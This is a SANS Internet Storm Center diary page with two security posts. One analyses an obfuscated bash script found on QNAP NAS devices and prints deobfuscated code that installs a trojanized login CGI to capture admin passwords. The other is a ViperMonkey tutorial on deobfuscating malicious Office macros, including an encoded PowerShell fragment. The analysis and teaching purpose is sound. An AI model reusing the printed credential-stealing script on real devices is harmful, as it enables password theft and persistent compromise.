Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Internet Storm Center Diary 2018-11-26 InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Obfuscated bash script targeting QNap boxes

Published: 2018-11-26
Last Updated: 2018-11-27 06:58:29 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

One of our readers, Nathaniel Vos, shared an interesting shell script with us and thanks to him! He found it on an embedded Linux device, more precisely, a QNap NAS running QTS 4.3. After some quick investigations, it looked that the script was not brand new. we found references to it already posted in September 2018[1]. But such shell scripts are less common: they are usually not obfuscated and they perform basic features like downloading and installing some binaries. So, I took the time to look at it.

Nathaniel provided us a ZIP archive with two scripts but, once deobfuscated, they generated the same output.

The first script was called ‘’ (SHA256: 94e901ada005120126234e8cbbc3b2142b00ed336922a0e3f400439c7061b849) and the second one ‘’ (SHA256: 1ccc3d2978edf38104e0e4b9c77146737ea6a6e880d172e485f4a67dc4e33359). Both are unknown on VT when I’m writing the diary. They use the same technique to obfuscate the code:

  • Shell variables are made of random characters
  • The code is polluted with undefined variables (so returning an empty string when printed). Example: ${uIHNPnfezwbcmn}
  • Characters are replaced with their hex value. Example: \x72 -> ‘r'
  • Some variables contain characters in octal value. Example: EpSHer=\\133 -> ‘['

Here are the first lines of the script:

$ head -10
 1: #!/bin/sh
 3: XdLVBKAo=tr${PotjEjbZl}
 4: ZjZfCafE='\'
 5: EpSHer=${qIFMKMhiLQYkzZr}${ZjZfCafE}${KrVViRvQs}133
 6: lmkYrG=${FKgWKTtpzobrKUK}${ZjZfCafE}${njJfCTyAr}055
 7: mbcHAcrP=${GGsIVGSsokYhAJV}${ZjZfCafE}${mFfYGGKTf}134
 8: $XdLVBKAo 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh
 9: GU/Q[b/&r;;w<apCJuKmOLkoSi
10: Ma|a}pC]Yr'%<[IXM"{a|bJfnpCQlia'V|LVpC%wMhKX|}ipCkb]Q%<VtQuZ|fndpChk<"|\MLfndL&pCISMSaZ'M(Y`|dp]Pmo*OSpxxfndpCiw+aIJ[Z|L&pCo=K(|dpC%T[{|fn+bpCh'P*|&pCY(o[qZO}`]oovw|LpCH*X>YT|dfnw<aapCh}=&'X`q 

At a first read, it seems very complex but, once all the junk code removed (see the list above), you discover that the script is obfuscated via a simple ’tr’ command. ’tr’ is a command useful to translate characters in a string like:

$ tr ‘abcdefghij’ ‘1234567890’ <<__END__
Example string
Ex1mpl5 str9n7

Each character from the first argument is replaced with the character from the second one ('a' -> '1', 'b' -> '2', ...). Here is the ’tr’ command from the malicious script:

tr 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh

'b${VXGXkTXAV}a${CYlb}sh’ is simply the ‘bash’ command. So, tr converts all characters from the very long string ending with ‘CaXTFJSCqaHF’ then the content (deobfuscated commands) is piped to bash. Here is  an interesting finding in the script (beautified)

 1: grep 'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:' /etc/shadow >/dev/null 2>&1 && {
 2: ! test -d "${bdir}/.log" && mkdir "${bdir}/.log"
 3: ! test -f /home/httpd/cgi-bin/QTSauthLogin.cgi && { 
 4:    cp -p /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi || cp /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi; 
 5: } && echo '#!/bin/sh
 7: test "x${REQUEST_METHOD}" = xPOST && {
 8:   case "${CONTENT_LENGTH}" in 
 9:     '"''"' | *[!0-9]* | 0* ) false 
10:       ;; 
11:    *) test "${CONTENT_LENGTH}" -lt 2147483646 
12:       ;; 
13: esac && { 
14:   IFS= read -d '"''"' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; 
15: } || test "$POSTDATA" || POSTDATA=`cat`
17: test ! -z "$POSTDATA" && 
18: case "${POSTDATA}" in 
19:   *pwd*) test -f "'${bdir}'/.log/.cgi_log" || 
20:          { test -d "'${bdir}'/.log" || mkdir -p "'${bdir}'/.log" && touch "'${bdir}'/.log/.cgi_log"; } 
21:          && test $((`stat -c '"'"'%s'"'"' "'${bdir}'/.log/.cgi_log"`)) -lt 209715200 && cat >> "'${bdir}'/.log/.cgi_log" << EOF ;; 
22: esac;
24: EOF
25: }
26: test ! -z "$POSTDATA" && case "$POSTDATA" in *user=admin* ) true ;; *) false ;; esac || case "$QUERY_STRING" in *user=admin*) true ;; *) false ;; esac && {
27: case "${REMOTE_ADDR}" in 
28:   '"''"' | 10.* | 127.* | 192.168.* | 169.254.* | 172.1[6-9].* | 172.2[0-9].* | 172.3[01].* | *:* ) false 
29:      ;; 
30:   *) true
31:      ;;
32: esac && grep '"'"'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:'"'"' /etc/shadow >/dev/null 2>/dev/null && exit 0
33: }
34: if ! test -z "$POSTDATA"; then
35:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi << V4KLDmYwvc
37: V4KLDmYwvc
38: else
39:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi
40; fi
41: exit 0' > /home/httpd/cgi-bin/_authLogin.cgi

This code installs a malicious CGI script (/home/httpd/cgi-bin/_authLogin.cgi) that steals the admin password (note that the default credentials are tested). The script also installs cron jobs, SSH & UPNP tools. So, it is definitively malicious! 

The remaining question is: how is this script installed on the device, via which vulnerability? There are some critical vulnerabilities in QTS released in 2018[2].


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)

ViperMonkey: VBA maldoc deobfuscation

Published: 2018-11-26
Last Updated: 2018-11-26 17:57:09 UTC
by Russ McRee (Version: 1)
0 comment(s)

ViperMonkey: a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files.

Related reads:

Problem Statement:

“Macro malware hides in Microsoft Office files and are delivered as email attachments or inside ZIP files. These files use names that are intended to entice or scare people into opening them. They often look like invoices, receipts, legal documents, and more. Macro malware was fairly common several years ago because macros ran automatically whenever a document was opened. However, in recent versions of Microsoft Office, macros are disabled by default. This means malware authors need to convince users to turn on macros so that their malware can run. They do this by showing fake warnings when a malicious document is opened.” ~Macro malware

ViperMonkey Installation:

Download and installation guidance is available on ViperMonkey’s GitHub repository. Be advised installation success and an optimized deployment can vary wildly depending on the OS you chose to install on. The most important takeaway is that you want to use PyPy to run ViperMonkey, the performance improvements in doing so are significant. While Philippe’s disclaimer is warranted, I found ViperMonkey to be quite performant, even on a virtual machine, when utilized with PyPy. I had the most success installing as follows on Ubuntu 18.04 Bionic Beaver, your experience may vary and you’ll likely want or need to experiment. There are definite nuances between Windows and Linux/Mac. Most importantly, note that

sudo -H pypy -m ensurepip

will not work on Ubuntu 18.04.

sudo apt-get install pypy
sudo apt-get install python-pip

Download the archive from the repository: Extract it in the folder of your choice, and open a shell/cmd window in that folder. Install dependencies by running

sudo -H pypy -m pip install -U -r requirements.txt

Confirm that Vipermonkey runs without errors:


Ideally, install the dependencies for PyPy, you can download them individually then install them as follows:

sudo pypy ~/Downloads/setuptools-40.6.2/ install
sudo pypy ~/Downloads/colorlog-3.1.4/ install
sudo pypy ~/Downloads/olefile-0.46/ install
sudo pypy ~/Downloads/prettytable-0.7/ install
sudo pypy ~/Downloads/pyparsing-2.3.0/ install

Again, “ViperMonkey can be sped up considerably (~5 times faster) by running ViperMonkey using pypy rather than the regular Python interpreter.”


Once you’ve conquered the installation, usage is particularly straightforward. Ready for it?

pypy -s <file>

Use the -s flag to strip out useless statements from the Visual Basic macro code prior to parsing and emulation, again contributing to efficiency and speed. I enabled an example run via the likes of

pypy ~/vipermonkey/ -s samples/4aff

Maldoc samples:

I logged in to my favorite malware sample repository,, searched for VBA, and selected three samples.

  • Trojan:Win32/Tiggre!rfn, MD5 cbdcc830345b99d94aa624e57689fd7b
  • Trojan:Win32/Occamy.C, MD5 0dc208ad5f0768fe99b75528dc97321b
  • Trojan:Win32/Bluteal.B!rfn, MD5 8ef62c0737f219e3e57a9f1ed1adcfb9

The first sample, a Word doc with malicious macros disguised as a Citi Bank document, yielded immediately interesting results. A typical ViperMonkey run should result in the likes of Figure 1 as it starts parsing.

Figure 1: Initial ViperMonkey run

This sample is noted for commonly abused properties such as:

  • Runs other files, shell commands, or applications
  • Contains deobfuscation code
  • Makes use of macros
  • Create OLE objects

This is all immediately noted via ViperMonkey. Of particular interest, take note of Figure 2 as derived in ViperMonkey’s Recorded Actions for this sample.

Figure 2: Recorded Actions

Looks like someone popped a shell to me. This sample also utilizes the GetNetworkCredential().password function, for what I hope are overtly obvious reasons. In all, ViperMonkey identified the VBA Builtins Called as [‘Chr’, ‘CreateObject’, ‘Mid’, ‘Run’, ‘StrReverse’]. Mid returns a variant containing a specified number of characters from a string, and StrReverse returns a string in which the character order of a specified string is reversed. Carrie’s above mentioned article, Evasive VBA - Advanced Maldoc Techniques, states that StrReverse() can be “used to demonstrate that the strings do not need to be stored in the form required by GetObject() anywhere in the VBA.”

Our next sample is malicious Excel document with equally interesting attributes including the fact that it:

  • Contains deobfuscation code
  • Makes use of macros
  • Automatically runs commands or instructions when the file is opened
  • Create OLE objects

Let’s see what ViperMonkey has to say. Yep, popped another shell (see Figure 3).

Figure 3: Malicious Excel macro

Note that the CLng function is an Excel a built-in function that converts a value to a long integer and can be used as a VBA function (VBA) in macro code. Additionally, the CallByName function is used to get or set a property, or invoke a method at run time using a string name.

Our last sample is another Word variant, and I definitely save the best for last. This little gem treats victims to:

  • Downloads additional files from the Internet
  • Executes code from Dynamically Linked Libraries
  • Opens a file
  • Automatically runs commands or instructions when the file is opened
  • Makes use of macros
  • Enumerates open windows
  • Executes PowerShell commands
  • Tries to hide the viewer or other applications
  • Creates OLE objects

There are no surprises in the VBA calls identified by ViperMonkey, but if you read the VirusTotal community page for this sample, you’ll note that THOR APT Scanner (thank you, Florian @cyb3rops) rule, SUSP_Base64_Encoded_URL, from the Suspicious Indicators ruleset, detects a Base64 encoded URL. ViperMonkey proves that out as seen in Figure 4.

Figure 4: Spawned PowerShell

ViperMonkey is again consistent in its identification of the malicious behaviors in our selected sample. Note the process call [‘winmgmts:\\.\root\cimv2:Win32_Process’] as well as the PowerShell invocation: powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg. This is better exemplified in the VBA code as parsed by ViperMonkey in Figure 5.

Figure 5: VBA code for malicious Macro

Of interest, the Macro references an external library of libc.dylib, allowing execution of system commands as should be familiar to Empire users. I know Philippe considers this very much work in progress, but I’m pretty impressed and hope he continues development on the project. I really enjoyed putting this walkthrough together, I look forward to hearing about your experiments in maldoc analysis via russ @ holisticinfosec dot io or @holisticinfosec. Cheers…until next time.

Russ McRee | @holisticinfosec 

0 comment(s)
Diary Archives